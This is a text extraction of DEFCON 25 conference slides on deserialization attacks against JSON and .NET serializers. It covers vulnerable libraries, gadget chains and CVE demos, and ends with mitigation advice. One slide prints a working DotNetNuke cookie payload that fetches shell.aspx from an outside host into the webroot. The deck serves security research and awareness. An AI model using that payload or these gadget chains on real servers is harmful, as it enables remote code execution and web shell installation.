DEFCON 25 Alvaro Munoz JSON Attacks PDF
DEFCON 25 Alvaro Munoz JSON Attacks PDF
HPE Security
> whoami
Alvaro Muoz
Security Research with HPE
Int3pids CTF player
@pwntester
Oleksandr Mirosh
Security Research with HPE
Introduction
2016 was the year of Java Deserialization apocalypse
Known vector since 2011
Previous lack of good RCE gadgets in common libraries
Apache Commons-Collections Gadget caught many off-guard.
Solution?
Stop using Java serialization
Use a secure JSON/XML serializer instead
Do not let history repeat itself
Raise awareness for .NET deserialization vulnerabilities
Is JSON/XML/<Put your favorite format here> any better?
Agenda
1. Attacking JSON serializers
Affected Libraries
Gadgets
Demo
2. Attacking .NET serializers
Affected formatters
Gadgets
Demo
3. Generalizing the attack
Demo
Is JSON any better?
Introduction
Probably secure when used to transmit data and simple JS objects
Replacing Java/.NET serialization with JSON requires OOP support.
How do we serialize a System.lang.Object field?
How do we deal with generics?
How do we serialize interface fields?
How do we deal with polymorphism?
Quick recap of Java deser attacks
Attackers can force the execution of any readObject() /
readResolve() methods of any class sitting in the classpath
By controlling the deserialized field values attackers may abuse the
logic of these methods to run arbitrary code
JSON libraries do not (normally) invoke deserialization callbacks or
magic methods
http://referencesource.microsoft.com/#PresentationFramework/Framework/System/Windows/Data/ObjectDataProvider.cs,d63c16f7bc3251a9
ObjectDataProvider
http://referencesource.microsoft.com/#PresentationFramework/Framework/System/Windows/Data/ObjectDataProvider.cs,d63c16f7bc3251a9
ObjectDataProvider
http://referencesource.microsoft.com/#PresentationFramework/Framework/System/Windows/Data/ObjectDataProvider.cs,d63c16f7bc3251a9
ObjectDataProvider
http://referencesource.microsoft.com/#PresentationFramework/Framework/System/Windows/Data/ObjectDataProvider.cs,d63c16f7bc3251a9
Gadgets: Java Edition
org.hibernate.jmx.StatisticsService
setSessionFactoryJNDIName
JNDI lookup
Presented during our JNDI attacks talk at BlackHat 2016
com.atomikos.icatch.jta.RemoteClientUserTransaction
toString
JNDI lookup
com.sun.rowset.JdbcRowSetImpl
setAutoCommit
JNDI lookup
Available in Java JRE
JdbcRowSetImpl.setAutoCommit
http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/com/sun/rowset/JdbcRowSetImpl.java/
JdbcRowSetImpl.setAutoCommit
http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/com/sun/rowset/JdbcRowSetImpl.java/
Gadgets: non RCE
.NET
System.Xml.XmlDocument/XmlDataDocument
set_InnerXml
XXE on .NET before 4.5.2
System.Data.DataViewManager
set_DataViewSettingCollectionString
XXE on .NET before 4.5.2
System.Windows.Forms.BindingSource
set_DataMember
Arbitrary getter call which can be used to chain to other gadgets
Java
org.antlr.stringtemplate.StringTemplate
toString
Arbitrary getter call which can be used to chain to other gadgets such as the infamous
TemplatesImpl.getOutputProperties()
Analyzed Libraries
We analyzed different Java/.NET JSON libraries to determine whether
these libraries could lead to arbitrary code execution upon
deserialization of untrusted data in their default configuration or
under special configurations.
Requirements
Attacker can control type of reconstructed objects
Can specify Type
Library loads Type
Library/GC will call methods on reconstructed objects
There are gadget chains starting on method executed upon/after
reconstruction
Different scenarios
Format includes type discriminator
1. Default
2. Configuration setting
{ "$type": "Newtonsoft.Json.Samples.Stockholder, Newtonsoft.Json.Tests",
"FullName": "Steve Stockholder",
"Businesses": {
"$type": "System.Collections.Generic.List`1[[Newtonsoft.Json.Samples.Business, Newtonsoft.Json.Tests]], mscorlib",
"$values": [ {
"$type": "Newtonsoft.Json.Samples.Hotel, Newtonsoft.Json.Tests",
"Stars": 4,
"Name": "Hudson Hotel
}]}}
Type control
1. Cast after deserialization
(User) JSON.Deserialize(untrusted);
2. Inspection of expected type
JSON.Deserialize<User>(untrusted);
JSON.Deserialize(untrusted, typeof(User));
Different scenarios
Inspection of expected types object graph to determine nested
types
Check assignability from provided type and/or whitelist creation
Vulnerable if
Expected type is user-controllable
Attacker can find injection member in object graph
Message
Body : Object
IUser User Exc: Exception
Name : String Name : String
Items : Dict<String, Object> Items : Dict<String, Object>
Message : Message Message : Message
Props : Hashtable Exception ValidationException
Data : IDictionary
Message : String Value : Object
Source: String
StackTrace: String
InnerException: Exception
Summary
Name Languag Type Type Control Vector
e Discriminator
FastJSON .NET Default Cast Setter
Json.Net .NET Configuration Expected Object Graph Inspection Setter
Deser. callbacks
FSPickler .NET Default Expected Object Graph Inspection Setter
Deser. callbacks
Sweet.Jayson .NET Default Cast Setter
JavascriptSerializer .NET Configuration Cast Setter
DataContractJsonSeriali .NET Default Expected Object Graph Inspection Setter
zer Deser. callbacks
Jackson Java Configuration Expected Object Graph Inspection Setter
Invokes
Setter
Should never be used with untrusted data
Example:
KalikoCMS
CVE-2017-10712
JavaScriptSerializer
System.Web.Script.Serialization.JavaScriptSerializer
By default, it will not include type discriminator information which
makes it a secure serializer.
Type Resolver can be configured to include this information.
JavaScriptSerializer sr = new JavaScriptSerializer(new SimpleTypeResolver());
string reqdInfo = apiService.authenticateRequest();
reqdDetails det = (reqdDetails)(sr.Deserialize<reqdDetails>(reqdInfo));
Invokes:
Setters
Serialization Constructors
Can be used securely as long as the expected type cannot be controlled by
users.
Json.Net
Secure by default unless TypeNameHandling other than None setting is
used
Even if TypeNameHandling is enabled, attackers still need to find entry
point in object graph
public class Message {
[JsonProperty(TypeNameHandling = TypeNameHandling.All)]
public object Body { get; set; }
}
Invokes:
Setters
Serialization callbacks
Type Converters
Use SerializationBinder to whitelist Types if TypeNameHandling is
required
Demo 1: Breeze (CVE-2017-9424)
http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/com/sun/rowset/JdbcRowSetImpl.java/
Unsafe Deserialization & Entrypoint
https://github.com/Breeze/breeze.server.net/blob/master/AspNet/Breeze.ContextProvider/ContextProvider.cs
Video
Similar Research
Java Unmarshaller Security
Author: Moritz Bechler
Parallel research published on May 22, after our research was accepted for
BlackHat and abstract was published .
Focus exclusively on Java
Overlaps with our research on:
Jackson and JSON-IO libraries
JdbcRowSetImpl.setAutoCommit gadget
Include other interesting gadgets
https://github.com/mbechler/marshalsec
.NET Formatters
Introduction
Attacks on .NET formatters are not Goals:
new Raise awareness about perils of .NET
James Forshaw already introduced deserialization
them at BlackHat 2012 for Present new vulnerable formatters
BinaryFormatter scenarios
NetDataContractSerializer Present new gadgets
Need new gadgets that works with
Lack of RCE gadget until recently Formatters other than BinaryFormatter
PSObject Gadget
Bridges to custom deserializer
https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/PSObject.cs
PSObject Gadget
https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/InternalDeserializer.cs
PSObject Gadget
https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/LanguagePrimitives.cs
PSObject Gadget
https://github.com/stangelandcl/pash-1/blob/master/System.Management.Automation/System.Management.Automation/LanguagePrimitives.cs
.NET Native Formatters I
System.Runtime.Serialization.Formatters.Soap.SoapFormatter
Serializes objects to and from SOAP XML format.
Similar to BinaryFormatter in a number of things;
They both implements IFormatter interface and serialize only Serializable
annotated types.
Both use surrogates to handle custom serialization and binders to control the type
loading.
Both will invoke similar methods upon deserialization which include:
setters, Iserializable constructor, OnDeserialized annotated methods and
OnDeserialization callback.
System.Web.Script.Serialization.JavaScriptSerializer
Covered in JSON section
.NET Native Formatters II
System.Web.UI.ObjectStateFormatter
Used by LosFormatter as a binary formatter for persisting the view state for
Web Forms pages. It uses BinaryFormatter internally and therefore offers
similar attack surface.
Uses TypeConverters
System.Messaging.XmlMessageFormatter
It is the default formatter used by MSMQ. It uses XmlSerializer internally
and therefore it is vulnerable to same attack patterns.
System.Messaging.BinaryMessageFormatter
Used by MSMQ as a binary formatter for sending messages to queues. It uses
BinaryFormatter internally and therefore offers similar attack surface.
.NET Native Formatters III
System.Runtime.Serialization.DataContractSerializer
It inspects the object graph of the expected type and limits the deserialization to only those
types known at construction time (either in the object graph or supplied with KnownTypes
list parameter).
Suitable to handle untrusted data unless any of the following scenarios apply:
Using a weak type resolver
Using user controlled expected type
Type objType = Type.GetType(message.Label.Split('|')[1], true, true);
DataContractSerializer serializer = new DataContractSerializer(objType);
serializer.ReadObject(message.BodyStream);
Will invoke multiple methods which can be used to initiate a RCE gadget chain such as setters
and serialization constructors.
System.Runtime.Serialization.Json.DataContractJsonSerializer
Covered in JSON section
Very similar to DataContractSerializer
No type resolvers can be used
.NET Native Formatters IV
System.Xml.Serialization.XmlSerializer
Will inspect the expected type at construction time and create an ad-hoc
serializer that will only know about those types appearing in the object graph.
Prevents deserialization of interface members.
Only vulnerable configuration for this deserializer is when attacker can control
the expected type.
var typename = cookie["typename"];
var typeName = xmlItem.GetAttribute("type");
var xser = new XmlSerializer(Type.GetType(typeName));
System.Data.Services.Internal.ExpandedWrapper`2[
[PUT_RUNTIME_TYPE_1_HERE],[PUT_RUNTIME_TYPE_2_HERE]
], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
Demo 3: DotNetNuke (CVE-2017-9822)
https://github.com/dnnsoftware/Dnn.Platform/blob/a142594a0c18a589cb5fb913a022eebe34549a8f/DNN%20Platform/Library/Services/Personalization/PersonalizationController.cs#L72
Sink
https://github.com/dnnsoftware/Dnn.Platform/blob/a142594a0c18a589cb5fb913a022eebe34549a8f/DNN%20Platform/Library/Common/Utili ties/XmlUtils.cs#L201
Video
DNNPersonalization Regular Cookie
<profile>
<item key="85:AllCreditors" type="System.Boolean, mscorlib, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089">
<boolean>false</boolean>
</item>
</profile>
DNNPersonalization Payload Cookie
<profile>
<item key="name1:key1"
type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Win
dows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>PullFile</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">http://ctf.pwntester.com/shell.aspx</anyType>
<anyType xsi:type="xsd:string">C:\inetpub\wwwroot\dotnetnuke\shell.aspx</anyType>
</MethodParameters>
<ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
</item>
</profile>
Wrap-Up
Main Takeaways
Do not deserialize untrusted data!
no, seriously, do not deserialize untrusted data!
ok, if you really need to:
Make sure to evaluate the security of the chosen library
Avoid libraries without strict Type control
Type discriminators are necessary but not sufficient condition
Never use user-controlled data to define the deserializer expected Type
Do not roll your own format
Thank you!
Alvaro Muoz (@pwntester) & Oleksandr Mirosh